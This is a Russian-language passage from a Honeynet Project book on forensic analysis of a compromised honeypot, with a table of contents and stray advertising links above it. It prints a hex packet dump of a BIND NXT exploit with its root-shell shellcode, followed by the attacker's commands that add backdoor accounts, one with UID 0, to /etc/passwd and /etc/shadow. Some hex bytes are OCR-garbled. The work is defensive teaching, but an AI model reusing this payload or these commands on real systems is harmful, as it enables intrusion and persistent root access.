Предисловие
Благодарности
Введение
Поле битвы

ПРОЕКТ HONEYNET
СИСТЕМА HONEYPOT
СЕТЬ HONEYNET
Назначение Honeynet
Система Honeypot в сети Honeynet
РЕЗЮМЕ

Как работает Honeynet
КОНТРОЛЬ ДАННЫХ
ЗАПИСЬ ДАННЫХ
Уровень контроля доступа
Сетевой уровень
Системный уровень
Автономный уровень
СОЦИОТЕХНИКА
Риск
РЕЗЮМЕ

Создание сети Honeynet
ОБЩАЯ АРХИТЕКТУРА
КОНТРОЛЬ ДАННЫХ
ЗАПИСЬ ДАННЫХ
ПОДДЕРЖАНИЕ HONEYNET И РЕАГИРОВАНИЕ НА АТАКИ
РЕЗЮМЕ

АНАЛИЗ
Анализ данных
РЕГИСТРАЦИОННЫЕ ЖУРНАЛЫ БРАНДМАУЭРА
АНАЛИЗ IDS
СИСТЕМНЫЕ ЖУРНАЛЫ
РЕЗЮМЕ

Анализ взломанной системы
НАПАДЕНИЕ
АНАЛИЗ
Взлом
ПОЛУЧЕНИЕ ДОСТУПА
ВОЗВРАЩЕНИЕ
РЕЗУЛЬТАТЫ АНАЛИЗА
РЕЗЮМЕ

Продвинутый анализ данных
ПАССИВНАЯ ДАКТИЛОСКОПИЯ
Сигнатуры
Пример ICMP
СИСТЕМНОЕ ВСКРЫТИЕ
РЕЗЮМЕ

Практика системного вскрытия
ОБРАЗЫ
ИНСТРУМЕНТЫ THE CORONER'S TOOLKIT
ВРЕМЯ MAC
УДАЛЕННЫЕ СТРУКТУРЫ INODE
ВОССТАНОВЛЕНИЕ ДАННЫХ
РЕЗЮМЕ

УГРОЗА
ТАКТИКА
ИНСТРУМЕНТЫ
Мотивы
МЕНЯЮЩИЕСЯ ТЕНДЕНЦИИ
РЕЗЮМЕ

Червяки на войне
УСТАНОВКА
ПЕРВЫЙ ЧЕРВЯК
ВТОРОЙ ЧЕРВЯК
НА СЛЕДУЮЩИЙ ДЕНЬ
РЕЗЮМЕ

Своими собственными словами
Взлом

Наша ссылка ;)



Популярные направления корфу! Купить отдых туры в грецию, отдых в египте
международные автомобильные грузовые перевозки


Взлом

Следующий этап заключается в анализе самого нападения. Для этого нам нужно просмотреть сетевые пакеты honeypot. IDS Snort записала всю эту информацию и сохранила в виде двоичного системного журнала. Теперь мы просмотрим его, чтобы определить и проанализировать действия взломщика. Большинство действий производится с целью получения доступа к оболочке с правами root или корневому каталогу на удаленной системе. После получения доступа к корневому каталогу взломщик может запустить любую команду как администратор. Зачастую в файлы /etc/ passwd и /etc/shadow заносится учетная запись или создаются запасные ходы, например оболочка, привязанная к конкретному порту. Взломщик начинает нападение, запрашивая у нашей DNS имя г. rsavings. net. Это очень странно: зачем удаленной системе запрашивать другое имя домена? Как мы скоро узнаем, именно так работает эта уловка. Нашу DNS дурачат. Обратите внимание, что IP-адрес, запрашивающий разрешение на системное имя г. rsavings. net, - это та же самая система, которая установила соединение TELNET с нашей системой в момент ее взлома.

04/26-06:43:04.883506 213.28.22.189:1045 -> 172.16.1.107:53 UDP TTL:40 T0S:0x0 ID:18882 IpLen:20 DgmLen:6O Len: 40
95 6B 01 00 00 01 00 00 00 00 00 00 01 72 08 72 . к r.r
73 61 76 69 6E 67 73 03 6E 65 74 00 00 01 00 01 savings.net
Наш сервер DNS делает все, о чем его просят. Он разрешает имя г. rsavings. net для IP-адреса. Сначала DNS определяет IP-адрес имени сервера для имени домена г. rsavings. net: 63.226.81.13. Затем DNS запрашивает у этой системы IP-адрес г. rsavings. net. Однако несчастный сервер DNS не понимает, что взломщик расставил ловушки. Любая DNS, которая обращается с запросом к системе 63.226.81.13, будет взломана приемом Named NXT (см. приложение С). Наша honeypot запрашивает у сервера имен г. rsavings. net следующим образом:

04/26-06:43:04.972052 172.16.1.107:1028 -> 63.226.81.13:53 UDP TTL:64 T0S:0x0 ID:18871 IpLen:20 DgmLen:60 Len: 40
ОС ВС 01 00 00 01 00 00 00 00 00 00 01 72 08 72 г. г
73 61 76 69 6Е 67 73 03 6Е 65 74 00 00 01 00 01 savings.net
Результат отвратителен. Вместо того чтобы предоставить IP-адрес, удаленный сервер имен 63.226.81.13 отвечает нападением. Мы видим, как разворачивается нападение, посылаются пакеты и все такое.
04/26-06:43:05.244101 63.226.81.13:1351 -> 172.16.1.107:53 TCP TTL:50 T0S:0x0 ID:26475 IpLen:20 Dgml_en:1500 DF ***AP*«, seq: 0x45B8EA Ack: 0x3FA07874 Win: 0x7D78 TcpLen: 32 TCP Options => NOP NOP TS: 4037599 144023498
0C BG 84 00 00 01 00 01 00 00 00 01 01 72 08 72 r.r
73 61 76 69 6E 67 73 03 6E 65 74 00 00 01 00 01 savings.net
01 72 08 72 73 61 76 69 6E 67 73 03 6E 65 74 00 . r. rsavings. net.
00 01 00 01 00 00 01 2C 00 04 01 02 03 04 01 72 r
08 72 73 61 76 69 6E 67 73 03 6E 65 74 00 00 1E .rsavings.net...
00 01 00 00 01 2C 19 6B 00 06 61 64 6D 61 64 6D k..admadm
00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
... повторяющиеся операции пор (0x90) для краткости удалены —
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 Е9 АС
01 00 00 5Е 89 76 ОС 8D 46 08 89 46 10 8D 46 2Е . . . ~. v. . F. . F. . F.
89 46 14 56 ЕВ 54 5Е 89 F3 В9 00 00 00 00 ВА 00 . F.V.T"
00 00 00 В8 05 00 00 00 CD 80 50 8D 5Е 02 В9 FF Р."...
01 00 00 В8 27 00 00 00 CD 80 SD 5Е 02 В8 3D 00 ...' "..=..
00 00 CD 80 5В 53 В8 85 00 00 00 CD 80 5В В8 06 . . . . [S [..
00 00 00 CD 80 8D 5Е OB B8 ОС 00 00 00 CD 80 89 "
F3 В8 3D 00 00 00 CD 80 ЕВ 2С Е8 А7 FF FF FF 2E ..=
00 41 44 4D 52 4F 43 48 53 00 2Е 2Е 2F 2Е 2Е 2F .ADMROCKS. ../••/
2Е 2Е 2F 2Е 2Е 2F 2Е 2Е 2F 2Е 2Е 2F 2Е 2Е 2F 2Е ../../../../../.
2Е 2F 2Е 2Е 2F 00 5Е В8 02 00 00 00 CD 80 89 СО ./•¦/•"
85 СО OF 85 8Е 00 00 00 89 F3 8D 4Е ОС 8D 56 18 N..V.
В8 08 00 00 00 CD 80 В8 01 00 00 00 CD 80 Е8 75 и
00 00 00 10 00 00 00 00 00 00 00 74 68 69 73 69 thisi
73 73 6F 6D 65 74 65 6D 70 73 70 61 63 65 66 6F ssometempspacefo
72 74 68 65 73 6F 63 6В 69 6Е 61 64 64 72 69 6Е rthesockinaddrin
79 65 61 68 79 65 61 68 69 6В 6Е 6F 77 74 68 69 yeahyeahiknowthi
73 69 73 6С 61 6D 65 62 75 74 61 6Е 79 77 61 79 sislamebutanyway
77 68 6F 63 61 72 65 73 68 6F 72 69 7А 6F 6Е 67 whocareshorizong
6F 74 69 74 7-7 6F 72 6В 69 6Е 67 73 6F 61 6С 6С otitworkingsoall
69 73 63 6F 6Р 6С ЕВ 86 5Е 56 8D 46 08 50 8В 46 iscool.. "V. F. P. F
04 50 FF 46 04 89 Е1 ВВ 07 00 00 00 В8 66 00 00 .P.F f..
00 CD 80 83 С4 ОС 89 СО 85 СО 75 DA 66 83 7Е 08 u.f...
02 75 D3 8В 56 04 4А 52 89 D3 В9 00 00 00 00 В8 .U..V.JR
3F 00 00 00 CD 80 5А 52 89 D3 В9 01 00 00 00 В8 ? ZR
3F 00 00 00 CD 80 5А 52 89 D3 В9 02 00 00 00 В8 ? ZR
3F 00 00 00 CD 80 ЕВ 12 5Е 46 46 46 46 46 С7 46 ? "FFFFF.F
10 00 00 00 00 Е9 FE FE FF FF Е8 Е9 FF FF FF E8
4F FE FF FF 2F 62 69 6Е 2F 73 68 00 2D 63 00 FF 0. . ./Ып/sh.-с. .
FF FF FF FF FF FF FF FF FF FF FF FF 00 00 00 00
70 6С 61 67 75 65 7А 58 41 44 4D 5D 31 30 2F 39 plaguez[ADM]10/9
39 2D 65 78 69 74 00 90 90 90 90 90 90 90 90 90 9-exit
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90' 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 СЗ D6 FF BF СЗ D6 FF BF
C3 D6 FF BF СЗ D6 FF BF СЗ D6 FF BF СЗ D6 FF BF
C3 D6 FF BF C3 D6 FF BF C3 D6 FP BF C3 D6 FF BF
C3 D6 FF BF C3 D6 FP BF C3 D6 FF BF C3 06 FF BF
C3 D6 FF BF C3 D6 FF BF C3 D6 FF BF C3 D6 FF BF
C3 D6 FF BF C3 D6 FF BF 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

При этом взломе передается небольшая программа на компьютерном языке, известная под названием shellcode, и указанный процесс вынужден ее запустить. Именно эта программа устанавливает уже существующее соединение TCP с названным процессом как stdin, stdout, stderr, а затем выполняет /bin/sh. В результате взломщик получает на машине root shell, не устанавливая никаких дополнительных соединений. К счастью для нас, они были установлены открытым текстом, что дало возможность записать действия взломщика после совершения взлома. При анализе незакодирован-ных данных гораздо проще использовать опцию Snort врезки сеанса связи ASCII. Помните, Snort не только создает предупреждения и регистрирует все пакеты в бинарном регистрационном файле, но также записывает весь текст ASCII и сохраняет его в файле. В данном случае мы можем просмотреть файл для выполненных команд. Приведенный ниже код показывает, что делал взломщик после создания команды оболочки с правами администратора. Сначала, чтобы засвидетельствовать успешный взлом, были выполнены команды, подтверждающие имя системы и UID оболочки. cd /; uname -a; pwd; id;

Linux apollo.honeynet.edu 2.2.5-15 #1 Mon Apr 19 22:21:09 EDT 1999 i586 unknown / uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) Затем взломщик, скорее всего, вручную ввел следующие команды:

echo "twin: :506:506: :/hoine/twin:/bin/bash" » /etc/passwd
echo "twin:w3nT2H0b6AjM2:::::::" » /etc/shadow
echo "hantu::0:0::/:/bin/bash" » /etc/passwd
echo "hantu:w3nT2H0b6AjM2:::::::" » /etc/shadow

Эти команды добавляют в систему две учетных записи пользователей -twin (UID 506) и hantu (UID 0) - с одним и тем же паролем. После того как они созданы, взлом завершен, миссия выполнена. Далее хакер может легко установить соединение TELNET и воспользоваться этими двумя записями для получения доступа, а затем командой su для получения привилегий администратора. В системных журналах, рассматривавшихся в начале этой главы, это учетные записи, при помощи которых нарушитель установил соединение TELNET со взломанной honeypot. Помните, большинство систем не разрешают для UID, равного 0, устанавливать соединение TELNET с машиной. Взломщик должен был создать учетную запись, которая обеспечила бы удаленный доступ, а затем учетную запись, дающую UID 0, то есть привилегии администратора. Итак, на основании нашего анализа мы можем определить последовательность событий:

1. Судя по предупреждениям Snort, в две системы honeypot приходили запросы об используемой на них версии DNS, чтобы определить, на сколько они уязвимы. Обычно это преддверие нападения.
2. Затем система 213.28.22.189 запросила у honeypot разрешения домена г. rsavings. net. Это первый этап взлома.

3. Honeypot определила, что сервер доменных имен r. rsavings. net - это сервер доменных имен 63.226.81.13, и запросила у этой системы IP- адрес имени г. rsavings. net.

4. Этот сервер доменных имен заминирован. При получении запроса он начинает атаку. Осуществляется взлом, и хакер создает на нашей honeypot две учетных записи - twin и hantu.

5. Взломщик устанавливает с honeypot соединение TELNET из системы 213.28.22.189, сначала заходит как twin, а затем получает привилегии администратора как hantu.

При работе с несколькими системами, как и в случае с данным нападением, упростить анализ данных помогут рисунки. На рис. 6.1 изображены пять этапов нападения. В большинстве случаев вам наверняка повезет, если вы сможете получить столько информации. Здесь мы проанализировали результаты большой работы и определили, при помощи каких инструментов и тактики была взломана система. Однако Honeynet может научить гораздо большему. Анализируя поведение хакера после взлома системы, можно многое узнать о его окружении. Теперь перейдем к приемам анализа данных о действиях взломщика после того, как он получил доступ к honeypot. Зачастую именно на этом этапе можно получить самую ценную информацию.
Copyright (ЦЕ) Addison-Wesley